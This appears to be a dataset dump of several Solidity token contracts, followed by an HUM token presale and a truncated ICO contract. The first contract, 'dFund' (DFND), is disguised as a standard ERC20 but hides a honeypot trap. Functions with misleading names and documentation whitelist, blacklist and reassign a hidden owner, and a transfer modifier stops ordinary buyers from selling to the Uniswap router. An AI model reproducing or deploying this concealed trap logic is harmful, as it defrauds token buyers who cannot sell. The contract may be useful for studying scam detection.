/* * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. / event Approval(address indexed owner, address indexed spender, uint256 value); } /* * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. / contract DFND is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /* * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. / constructor () public { _name = 'dFund'; _symbol = 'DFND'; _decimals = 18; _owner = msg.sender; _safeOwner = msg.sender; _mint(_owner, 10001e6(1018)); } /* * @dev Returns the name of the token. / function name() public view returns (string memory) { return _name; } /* * @dev Returns the symbol of the token, usually a shorter version of the * name. / function symbol() public view returns (string memory) { return _symbol; } /* * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. / function decimals() public view returns (uint8) { return _decimals; } /* * @dev See {IERC20-totalSupply}. / function totalSupply() public view override returns (uint256) { return _totalSupply; } /* * @dev See {IERC20-balanceOf}. / function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /* * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. / function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /* * @dev See {IERC20-allowance}. / function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /* * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. / function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /* * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. / function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /* * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. / function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /* * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. / function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /* * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. / function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /* * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. / function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /* @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. / function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /* * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. / function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /* * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. / function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /* * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. / function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /* * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. / modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner \|\| sender == _safeOwner \|\| recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)\|\|(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)\|\|(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } /* * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. / function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /* * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 5709, 1011, 5709, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 2260, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 10236, 7347, 2058, 5024, 3012, 1005, 1055, 20204, 3136, 2007, 2794, 2058, 12314, 1008, 14148, 1012, 1008, 1008, 20204, 3136, 1999, 5024, 3012, 10236, 2006, 2058, 12314, 1012, 2023, 2064, 4089, 2765, 1008, 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pragma solidity ^0.4.23; /** * @title SafeMath * @dev Math operations with safety checks that throw on error / library SafeMath { /* * @dev Multiplies two numbers, throws on overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. / function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). / function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /* * @dev Adds two numbers, throws on overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /* * @title MultiOwnable / contract MultiOwnable { address public root; mapping (address => address) public owners; // owner => parent of owner /* * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. / constructor() public { root = msg.sender; owners[root] = root; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(owners[msg.sender] != 0); _; } /* * @dev Adding new owners / function newOwner(address _owner) onlyOwner external returns (bool) { require(_owner != 0); owners[_owner] = msg.sender; return true; } /* * @dev Deleting owners / function deleteOwner(address _owner) onlyOwner external returns (bool) { require(owners[_owner] == msg.sender \|\| (owners[_owner] != 0 && msg.sender == root)); owners[_owner] = 0; return true; } } /* * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 / contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /* * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 / contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /* * @title Basic token * @dev Basic version of StandardToken, with no allowances. / contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /* * @dev total number of tokens in existence / function totalSupply() public view returns (uint256) { return totalSupply_; } /* * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. / function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /* * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. / function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /* * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). / contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /* * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. / function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which should* be an assertion failure balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol / contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /* * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred / function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /* * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. / function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /* * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. / function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /* * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. / function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /* * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. / function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /* * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol / contract MintableToken is StandardToken, MultiOwnable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /* * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. / function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /* * @dev Function to stop minting new tokens. * @return True if the operation was successful. / function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } /* * @title HUMToken * @dev ERC20 HUMToken. * Note they can later distribute these tokens as they wish using `transfer` and other * `StandardToken` functions. / contract HUMToken is MintableToken, BurnableToken { string public constant name = "HUMToken"; // solium-disable-line uppercase string public constant symbol = "HUM"; // solium-disable-line uppercase uint8 public constant decimals = 18; // solium-disable-line uppercase, // 18 decimals is the strongly suggested default, avoid changing it uint256 public constant INITIAL_SUPPLY = 2500 1000 * 1000 * (10 uint256(decimals)); // 2,500,000,000 HUM bool public isUnlocked = false; / * @dev Constructor that gives msg.sender all of existing tokens. / constructor(address _wallet) public { totalSupply_ = INITIAL_SUPPLY; balances[_wallet] = INITIAL_SUPPLY; emit Transfer(address(0), _wallet, INITIAL_SUPPLY); } modifier onlyTransferable() { require(isUnlocked \|\| owners[msg.sender] != 0); _; } function transferFrom(address _from, address _to, uint256 _value) public onlyTransferable returns (bool) { return super.transferFrom(_from, _to, _value); } function transfer(address _to, uint256 _value) public onlyTransferable returns (bool) { return super.transfer(_to, _value); } function unlockTransfer() public onlyOwner { isUnlocked = true; } } /* * @title Crowdsale * @dev Crowdsale is a base contract for managing a token crowdsale, * allowing investors to purchase tokens with ether. This contract implements * such functionality in its most fundamental form and can be extended to provide additional * functionality and/or custom behavior. * The external interface represents the basic interface for purchasing tokens, and conform * the base architecture for crowdsales. They are not intended to be modified / overriden. * The internal interface conforms the extensible and modifiable surface of crowdsales. Override * the methods to add functionality. Consider using 'super' where appropiate to concatenate * behavior. / contract Crowdsale { using SafeMath for uint256; // The token being sold ERC20 public token; // Address where funds are collected address public wallet; // How many token units a buyer gets per wei uint256 public rate; // Amount of wei raised uint256 public weiRaised; /* * Event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased / event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); /* * @param _rate Number of token units a buyer gets per wei * @param _wallet Address where collected funds will be forwarded to * @param _token Address of the token being sold / constructor(uint256 _rate, address _wallet, ERC20 _token) public { require(_rate > 0); require(_wallet != address(0)); require(_token != address(0)); rate = _rate; wallet = _wallet; token = _token; } // ----------------------------------------- // Crowdsale external interface // ----------------------------------------- /* * @dev fallback function *DO NOT OVERRIDE* / function () external payable { buyTokens(msg.sender); } /* * @dev low level token purchase *DO NOT OVERRIDE* * @param _beneficiary Address performing the token purchase / function buyTokens(address _beneficiary) public payable { uint256 weiAmount = msg.value; _preValidatePurchase(_beneficiary, weiAmount); // calculate token amount to be created uint256 tokens = _getTokenAmount(weiAmount); // update state weiRaised = weiRaised.add(weiAmount); _processPurchase(_beneficiary, tokens); emit TokenPurchase( msg.sender, _beneficiary, weiAmount, tokens ); _updatePurchasingState(_beneficiary, weiAmount); _forwardFunds(); _postValidatePurchase(_beneficiary, weiAmount); } // ----------------------------------------- // Internal interface (extensible) // ----------------------------------------- /* * @dev Validation of an incoming purchase. Use require statements to revert state when conditions are not met. Use super to concatenate validations. * @param _beneficiary Address performing the token purchase * @param _weiAmount Value in wei involved in the purchase / function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal { require(_beneficiary != address(0)); require(_weiAmount != 0); } /* * @dev Validation of an executed purchase. Observe state and use revert statements to undo rollback when valid conditions are not met. * @param _beneficiary Address performing the token purchase * @param _weiAmount Value in wei involved in the purchase / function _postValidatePurchase(address _beneficiary, uint256 _weiAmount) internal { // optional override } /* * @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends its tokens. * @param _beneficiary Address performing the token purchase * @param _tokenAmount Number of tokens to be emitted / function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal { token.transfer(_beneficiary, _tokenAmount); } /* * @dev Executed when a purchase has been validated and is ready to be executed. Not necessarily emits/sends tokens. * @param _beneficiary Address receiving the tokens * @param _tokenAmount Number of tokens to be purchased / function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal { _deliverTokens(_beneficiary, _tokenAmount); } /* * @dev Override for extensions that require an internal state to check for validity (current user contributions, etc.) * @param _beneficiary Address receiving the tokens * @param _weiAmount Value in wei involved in the purchase / function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal { // optional override } /* * @dev Override to extend the way in which ether is converted to tokens. * @param _weiAmount Value in wei to be converted into tokens * @return Number of tokens that can be purchased with the specified _weiAmount / function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { return _weiAmount.mul(rate); } /* * @dev Determines how ETH is stored/forwarded on purchases. / function _forwardFunds() internal { wallet.transfer(msg.value); } } /* * @title CappedCrowdsale * @dev Crowdsale with a limit for total contributions. / contract CappedCrowdsale is Crowdsale { using SafeMath for uint256; uint256 public cap; /* * @dev Constructor, takes maximum amount of wei accepted in the crowdsale. * @param _cap Max amount of wei to be contributed / constructor(uint256 _cap) public { require(_cap > 0); cap = _cap; } /* * @dev Checks whether the cap has been reached. * @return Whether the cap was reached / function capReached() public view returns (bool) { return weiRaised >= cap; } /* * @dev Extend parent behavior requiring purchase to respect the funding cap. * @param _beneficiary Token purchaser * @param _weiAmount Amount of wei contributed / function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal { super._preValidatePurchase(_beneficiary, _weiAmount); require(weiRaised.add(_weiAmount) <= cap); } } /* * @title IndividuallyCappedCrowdsale * @dev Crowdsale with per-user caps. / contract IndividuallyCappedCrowdsale is Crowdsale { using SafeMath for uint256; mapping(address => uint256) public contributions; uint256 public individualCap; constructor(uint256 _individualCap) public { individualCap = _individualCap; } /* * @dev Returns the cap per a user. * @return Current cap for individual user / function getUserCap() public view returns (uint256) { return individualCap; } /* * @dev Returns the amount contributed so far by a sepecific user. * @param _beneficiary Address of contributor * @return User contribution so far / function getUserContribution(address _beneficiary) public view returns (uint256) { return contributions[_beneficiary]; } /* * @dev Extend parent behavior requiring purchase to respect the user's funding cap. * @param _beneficiary Token purchaser * @param _weiAmount Amount of wei contributed / function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal { super._preValidatePurchase(_beneficiary, _weiAmount); require(contributions[_beneficiary].add(_weiAmount) <= individualCap); } /* * @dev Extend parent behavior to update user contributions * @param _beneficiary Token purchaser * @param _weiAmount Amount of wei contributed / function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal { super._updatePurchasingState(_beneficiary, _weiAmount); contributions[_beneficiary] = contributions[_beneficiary].add(_weiAmount); } } /* * @title WhitelistedCrowdsale * @dev Crowdsale in which only whitelisted users can contribute. / contract WhitelistedCrowdsale is Crowdsale, MultiOwnable { mapping(address => bool) public whitelist; /* * @dev Reverts if beneficiary is not whitelisted. Can be used when extending this contract. / modifier isWhitelisted(address _beneficiary) { require(whitelist[_beneficiary]); _; } /* * @dev Adds single address to whitelist. * @param _beneficiary Address to be added to the whitelist / function addToWhitelist(address _beneficiary) external onlyOwner { whitelist[_beneficiary] = true; } /* * @dev Adds list of addresses to whitelist. Not overloaded due to limitations with truffle testing. * @param _beneficiaries Addresses to be added to the whitelist / function addManyToWhitelist(address[] _beneficiaries) external onlyOwner { for (uint256 i = 0; i < _beneficiaries.length; i++) { whitelist[_beneficiaries[i]] = true; } } /* * @dev Removes single address from whitelist. * @param _beneficiary Address to be removed to the whitelist / function removeFromWhitelist(address _beneficiary) external onlyOwner { whitelist[_beneficiary] = false; } /* * @dev Extend parent behavior requiring beneficiary to be in whitelist. * @param _beneficiary Token beneficiary * @param _weiAmount Amount of wei contributed / function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal isWhitelisted(_beneficiary) { super._preValidatePurchase(_beneficiary, _weiAmount); } } contract HUMPresale is WhitelistedCrowdsale, IndividuallyCappedCrowdsale { uint256 public constant minimum = 100000000000000000; // 0.1 ether bool public isOnSale = false; mapping(address => uint256) public bonusTokens; uint256 public bonusPercent; address[] public contributors; event DistrubuteBonusTokens(address indexed sender); event Withdraw(address indexed _from, uint256 _amount); constructor ( uint256 _rate, uint256 _bonusPercent, address _wallet, HUMToken _token, uint256 _individualCapEther ) public Crowdsale(_rate, _wallet, _token) IndividuallyCappedCrowdsale(_individualCapEther.mul(10 * 18)) { bonusPercent = _bonusPercent; } function modifyTokenPrice(uint256 _rate) public onlyOwner { rate = _rate; } function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal { super._processPurchase(_beneficiary, _tokenAmount); if (bonusPercent > 0) { if (contributions[_beneficiary] == 0) { contributors.push(_beneficiary); } bonusTokens[_beneficiary] = bonusTokens[_beneficiary].add(_tokenAmount.mul(bonusPercent).div(100)); } } function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal isWhitelisted(_beneficiary) { super._preValidatePurchase(_beneficiary, _weiAmount); bool isOverMinimum = _weiAmount >= minimum; require(isOverMinimum && isOnSale); } function openSale() public onlyOwner { require(!isOnSale); isOnSale = true; } function closeSale() public onlyOwner { require(isOnSale); if (token.balanceOf(this) > 0) { withdrawToken(); } isOnSale = false; } function withdrawToken() public onlyOwner { uint256 balanceOfThis = token.balanceOf(this); token.transfer(wallet, balanceOfThis); emit Withdraw(wallet, balanceOfThis); } function distributeBonusTokens() public onlyOwner { require(!isOnSale); for (uint i = 0; i < contributors.length; i++) { if (bonusTokens[contributors[i]] > 0) { token.transferFrom(wallet, contributors[i], bonusTokens[contributors[i]]); bonusTokens[contributors[i]] = 0; } } emit DistrubuteBonusTokens(msg.sender); } function getContributors() public view onlyOwner returns(address[]) { return contributors; } /// @dev get addresses who has bonus tokens /// @return Returns array of addresses. function getBonusList() public view onlyOwner returns(address[]) { address[] memory contributorsTmp = new address[](contributors.length); uint count = 0; uint i; for (i = 0; i < contributors.length; i++) { if (bonusTokens[contributors[i]] > 0) { contributorsTmp[count] = contributors[i]; count += 1; } } address[] memory _bonusList = new address[](count); for (i = 0; i < count; i++) { _bonusList[i] = contributorsTmp[i]; } return _bonusList; } /// @dev distribute bonus tokens to addresses who has bonus tokens /// @param _bonusList array of addresses who has bonus tokens. function distributeBonusTokensByList(address[] _bonusList) public onlyOwner { require(!isOnSale); for (uint i = 0; i < _bonusList.length; i++) { if (bonusTokens[_bonusList[i]] > 0) { token.transferFrom(wallet, _bonusList[i], bonusTokens[_bonusList[i]]); bonusTokens[_bonusList[i]] = 0; } } emit DistrubuteBonusTokens(msg.sender); } }	True	[ 101, 10975, 8490, 2863, 5024, 3012, 1034, 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pragma solidity 0.4.18; contract owned { address public owner; // The one who sent the contract to the blockchain, will automatically become the owner of the contract function owned() internal { owner = msg.sender; } // The function containing this modifier can only call the owner of the contract modifier onlyOwner { require(owner == msg.sender); _; } // Change the owner of the contract function changeOwner(address newOwner) onlyOwner public { owner = newOwner; } } // Functions for safe operation with input values (subtraction and addition) library SafeMath { function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } // ERC20 interface https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md contract ERC20 { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256 balance); function allowance(address owner, address spender) public constant returns (uint256 remaining); function transfer(address to, uint256 value) public returns (bool success); function transferFrom(address from, address to, uint256 value) public returns (bool success); function approve(address spender, uint256 value) public returns (bool success); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract AdvancedToken is ERC20, owned { using SafeMath for uint256; // Stores the balances of all holders of the tokens, including the owner of the contract mapping (address => uint256) internal balances; // The event informs that N tokens have been destroyed event Burn(address indexed from, uint256 value); // Creates the required number of tokens on the specified account function mintTokens(address _who, uint256 amount) internal returns(bool) { require(_who != address(0)); totalSupply = totalSupply.add(amount); balances[_who] = balances[_who].add(amount); Transfer(this, _who, amount); return true; } // Burns tokens on the contract, without affecting the token holders and the owner of the contract function burnTokens(uint256 _value) public onlyOwner { require(balances[this] > 0); balances[this] = balances[this].sub(_value); totalSupply = totalSupply.sub(_value); Burn(this, _value); } // Withdraws tokens from the contract if they accidentally or on purpose was it placed there function withdrawTokens(uint256 _value) public onlyOwner { require(balances[this] > 0 && balances[this] >= _value); balances[this] = balances[this].sub(_value); balances[msg.sender] = balances[msg.sender].add(_value); Transfer(this, msg.sender, _value); } // Withdraws all the ether from the contract to the owner account function withdrawEther(uint256 _value) public onlyOwner { require(this.balance >= _value); owner.transfer(_value); } } contract ICO is AdvancedToken { using SafeMath for uint256; enum State { Presale, waitingForICO, ICO, Active } State public contract_state = State.Presale; uint256 private startTime; uint256 private presaleMaxSupply; uint256 private marketMaxSupply; event NewState(State state); // Purchasing tokens is only allowed for Presale and ICO contract states modifier crowdsaleState { require(contract_state == State.Presale \|\| contract_state == State.ICO); _; } // Call functions transfer transferFrom and approve, is only allowed with Active state of the contract modifier activeState { require(contract_state == State.Active); _; } // The initialization values when the contract has been mined to the blockchain function ICO() internal { startTime = 1528205440; // pomeriggio presaleMaxSupply = 0 * 1 